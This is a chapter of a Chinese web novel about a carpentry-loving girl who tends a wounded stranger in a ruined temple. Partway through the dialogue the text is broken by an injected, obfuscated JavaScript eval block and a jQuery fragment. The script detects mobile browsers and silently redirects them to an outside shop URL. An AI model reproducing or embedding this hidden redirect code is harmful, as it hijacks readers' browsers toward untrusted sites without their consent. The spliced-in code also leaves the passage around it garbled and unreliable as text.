那年母亲病故，父亲是个手艺人，走街串巷做些杂货。
外婆见她可怜，便将她接过去照看，父亲隔日去瞧她一次，顺带送些东西。
两年后她回家时，家里便多了刚进门的继母何叶。
何叶原本是镇上绣坊的绣娘，前夫是个货郎，不知哪天走货，便再也没了音信。
父亲娶何叶，谈不上风月。
他是个粗人，人人都说他带着个拖油瓶过日子。
至于何叶，那是她守寡第四年，约莫也想有个落脚地，两人这便搭伙过日子。
十岁那年，何叶怀有身孕，次年生下青荔。
那些日子，父亲在外头没日没夜接活，何叶便在家绣花换钱，褚榆帮着看青荔，偶尔给父亲打打下手。
日子久了，褚榆也摸出门道，那锥子锉刀使得比同龄男孩还顺手。
父亲嘴上不说，可每次出活都带着她，偶尔也让她试着拧两下。
那段日子平淡，却称得上美满。
偏偏老天不公。
青荔快两岁那年，父亲深夜从邻村归家，山路滑，摔进沟里。
等寻到时，身子早已经凉透了。
自那以后，家中便再没有男人。
绣坊的活计挣得少，何叶独自养育两个女儿并不易，她从早绣到晚。
好几次褚榆半夜醒来，便听见何叶在灯下一次又一次轻叹。
见何叶绣花挣得辛苦，她便想着能不能做些什么。
她翻出父亲留下的家伙事，把家里那把旧纺车修好，又试着改了一处轴承，车竟然顺滑不少。
可待她兴冲冲地跑去告诉何叶，何叶却脸色大变：“你爹走了，这个家就剩咱们娘仨。你学这些有什么用？给我老老实实学绣花，走到哪儿都饿不死！”
说完，何叶举起柴刀将刚修好的纺车架，拦腰砍断。
木料碎裂，连带着她那颗心，再难修复。
褚榆心中如何不明白？何叶是怕。
怕她同那摔下山崖的父亲一般，日夜东奔西走，不知哪日便再也回不来。
在家中绣花，只需一盏灯，看月落日升。
褚榆从不顶撞何叶。
何叶骂一次，她便跪一次。
可骂归骂，何叶给她的鞋底永远比青荔厚几分。
她将这些都看在眼中，心里对何叶只有佩服和感激。
至于她自己，她只有一方木块。木块是鱼、是雀、是纺机。
脑中各色各样的物件，每一样皆比绣花针好玩百倍，偏偏她什么都不能做。
女子掌中的木块不能换钱，而她不爱绣花，便无法用绣花换取口粮。
褚榆目光重新变得清明，青荔不知何时歪在何叶怀中，两人正说着什么有趣的事，惹得何叶频笑。
她压下那些酸意，回到自己那间窄屋，燃起一截剩烛，就着豆大的火苗，褚榆找到画雀鸟的那页。墨线和标注犹在，只是书皮上多了个浅浅的脚印。
褚榆伸手抚过那枚脚印，将那半只断翅木雀搁在书页上。
袖中的刻刀被抽出，刀尖沿着木雀旧榫边缘修整。
-
次日清晨，天蒙蒙亮便听青荔在院外缠着何叶要吃油浴饼。
何叶刚接了县城员外夫人的活计，实在是不得空跟青荔周旋，于是招呼褚榆去买几个，换得片刻安静。
暴雨来得毫无预兆，褚榆抱着油浴饼从集市赶回时，豆大的雨点已砸得她满身。
她绕开大路，抄着山脚的野径往回赶。
野径从村东面穿过，不仅能绕过村口井台边嚼舌根的妇人堆，还能顺路去不远处的旧庙取一块偷藏的木料，给青荔做只新雀鸟。
雨势越发急，隐约的山路都看不太清，行至旧庙，里头正漏雨。
西墙角湿了大半，只泥塑山神像后面还干着，那便是藏木块之地。
刚钻进去，便见泥像基座旁歪着一个人。
黑衣，半张脸埋在阴影里，身下的一滩水正缓缓洇成浅红。
褚榆大惊，下意识倒退两步，硬生生捂住嘴。
荒郊野岭陡然出现受伤的男子，可别是什么逃奴逃兵躲在此处。
褚榆瞧着他奄奄一息的模样，鼓起勇气凑上前，发觉那人竟躺在她那几块好不容易寻摸来的木块上。
她赶忙搁下手中的布包，蹑手蹑脚绕开那人，弓腰朝他身下木头摸去。
“别醒别醒。”她在心中止不住默念。
堪堪握住一截，地上男子睁开双目，五指极快攥住木料另一截。
“啊！”褚榆尖叫出声，对上男子鹰隼似的目光，十足十的压迫感。
“这是我的！”她大着胆子奋力往回抢。
哪怕男子有伤在身，双方力量依旧十分悬殊，她使出全力，木块也纹丝不动。
眼瞧着抢不出，褚榆气急，顾不上许多，攥起拳头蓄满力，朝他脸上就是一下。
“砰！”
男人闷哼，手指骤然一松，整个人往后仰倒下去，后脑磕在泥像基座的棱角上，发出一声闷响。
木块脱出，褚榆惯性倒退两步，一屁股跌坐在地：“哎呦！”
旧庙地上不少碎石块，硌得她屁股生疼。
她属实气不过，手脚并用站起身，叉腰学着何叶的模样将地上男子骂了个囫囵。可惜男子歪在基座一动不动，只睫毛轻颤证明尚有气息。
“别想糊弄我，”她拔高声调，颤抖着，“那一拳打不坏人。”
旧庙极静，只余雨声灌进。
褚榆盯着那人瘫软的身形，有些心虚地扫过自己那双常年摸锉刀锯条的手。
刚才那拳再加上一磕，他那口气怕是要断了。
雨声渐急，褚榆站在原地认命地长叹，转身朝着旧庙左侧走去。
左侧角落石块上，搁着一只磕裂沿的破碗。
不知过了多久，落在庙檐上的雨滴渐缓，褚榆正抱着怀里的木料和油浴饼打瞌睡，忽闻身旁有极微弱的吐气声。
她睁开眼，这才在灰蒙蒙的天光里看清他的脸。
男子格外白，能看清颧侧淡青的血管。眉眼深邃，眼尾微微上挑，淡褐色双眸上的睫毛长而疏。
只是，男子此刻正目光凌厉如刀，直直望着她。
褚榆脊背发紧，往墙角缩了缩，结结巴巴道：“看……看什么看？我救了你。”
只见男子扫过四周，褚榆随着他的目光望去——地上还剩半碗水，他的肩头被粗布略略包扎着。
“你打了我。”男子开口，声音又低又沉。
褚榆显然没料到他开口便是这句，她目光闪烁，连带着陡然拔高音调：“谁……谁让你抢我木头，你活该。”
闻言，男子睫毛微垂，挣扎着便要起身，动作牵扯间，他肩头立刻渗出一片暗红。
褚榆赶忙按住他：“你想血流尽而亡吗？”
四目相对，掌下炽热的胸膛几乎灼烧着她，她下意识缩回手。
见男子不再动作，褚榆才有些不自在地在包里翻找，最后掏出那块她绣得难看的帕子，准备覆上他肩头的伤口。
“别费事了。”男子唇色煞白，声音微弱，“不如死了干净。”
握着帕子的手一顿，褚榆半晌都不曾反应过来。
男子从那块帕子淡淡掠过，仰头目光涣散地穿过庙顶的破洞，落在黑沉沉的天上。
他眼中是褚榆从未见过的幽冷。
“今日多谢你，你走吧。”他阖上眼，面上不知是嘲讽还是解脱。
褚榆站在那片干燥的小地方，盯着他苍白的脸，有些手足无措。
半晌，才闷闷道：“死最容易，一闭眼的事。”
她将帕子叠好，覆上还在渗血的刀口，目光随他落在庙顶的窟窿上。
“活着才难。”她说。
旧庙静下来，雨声仿佛随着远处的风一同离去。
男子涣散的瞳仁终于聚起光，落在她脸上。
“你懂什么。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17961205|214333||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他没好气。
“我的确不懂，”褚榆拽起他另一只手，压上那块帕子，“我只晓得，你今日躺在这儿等死，那欲取你性命之人，明日便会开坛宴饮。”
“活着才有的争。”她说。
男人仍旧垂眸，睫毛轻颤，瞧不清神色。
外头雨声终歇，褚榆不再同他多费口舌，转身拎起布包，掏出两块饼塞给他。
“明日我再来，你若执意寻死，等我走了尽管自便。”说罢，褚榆便抬腿欲走。
“等等。”身后之人冷不丁出声。
她脚步顿住，回过头，便见男人抬起完好的手，指尖颤抖着从颈上摘下一枚玉：“算我……赔你的木头。”
褚榆瞧着那枚圆形玉环，半天没动作：“不用，我这木头……不值钱。”
“拿着吧，”男人再开口，“我……没有旁的。”
褚榆深吸口气，从他掌心接过那枚玉环。
玉环上头刻着繁杂的花纹，是什么她不认得，玉是何材质更是瞧不出来。只知道色泽极温润，握在掌心带着薄薄的暖意。
“我替你收着，待你好了，便还给你。”
男子微不可察叹了口气，似乎在斟酌些什么。
半晌，褚榆才迈步朝庙外走去。
冷风灌入她半湿的衣裳，她打了个哆嗦。走出几十步远，终究没忍住回头。
旧庙的轮廓在雾中模模糊糊，黑黢黢的门如同吞噬天地的大口。
她不自觉攥紧掌心那枚带着温意的玉。
旧庙内，男子费力抬起未受伤的手，伸向那两块饼。指尖的鲜红沾在饼皮上，他恍若不觉。
“便如此急切，连母亲的忌日都等不得。”他喃喃着，将饼塞入口中，眼底墨色一片。
等咽下那口饼，才重新抬头望向屋顶的破洞。
雨后的第一缕日光，穿过窟窿，斜斜落在他身上。
-
褚榆走在归家的路上，思绪万千，迎面便撞上正往外疾步的何叶。
不待她开口，何叶已经拽着她往屋里走。盘问大半日，才勉强相信她随便找了个地方躲雨的说辞。
傍晚，青荔坐在床上啃油浴饼，目光却不曾从褚榆身上移开。
约一炷香后，青荔终于忍不住朝身旁挪去，神秘兮兮道：“姐姐是不是又去旧庙看书了？”
褚榆劈线的手一颤，赶忙去捂青荔的嘴：“小点声，娘听得见。”
掌下那双眼扑闪半天，褚榆才缓缓松开手。
“昨日娘打你，今日打我，日日都要寻由头打一个。”青荔直挺躺在床上，一眨不眨盯着房梁。
褚榆忙丢下手中丝线，去翻她袖口：“打哪儿了，厉不厉害？”
“不疼不疼，”青荔在床上翻来滚去，“娘骂我嘴馋非要吃油浴饼，气急便打我。”
“为饼打你？”她不解问。
“嗯！”青荔郑重应声，“她哪儿晓得我日日吃同样的东西，早都想吐。”
青荔仍在喋喋不休，说起何叶如何狠心罚她背诗、画花样子，连出去同隔壁阿莱玩的功夫都不曾有。
床沿的褚榆听着，不发一言。
这分明是担忧她冒雨而返，只得将怒火撒在青荔身上。
她仰躺在青荔身旁，小丫头立刻凑过去，顺势靠在她肩头。
“姐姐，会飞的小鸟何时才能做出来？我已经跟阿莱吹牛了。”
“很快了。”褚榆抚过她那张小脸。
“要是爹在就好了，爹肯定也会给我做。”小丫头说着，额头在她肩头蹭过。
是啊，若是爹在……
褚榆神色微凝，悄悄别过脸去，好半天才压低声音道：“姐姐一样可以做。”
雨后的云层被落日染成橘红，暮色渐深，橘红褪去，明月乘势而上。
“明日姐姐要出门去，你帮姐姐。”褚榆闷闷开口。
“成，”青荔阖着眼，自信满满拍拍胸脯，“我来缠着娘，姐姐尽管去。”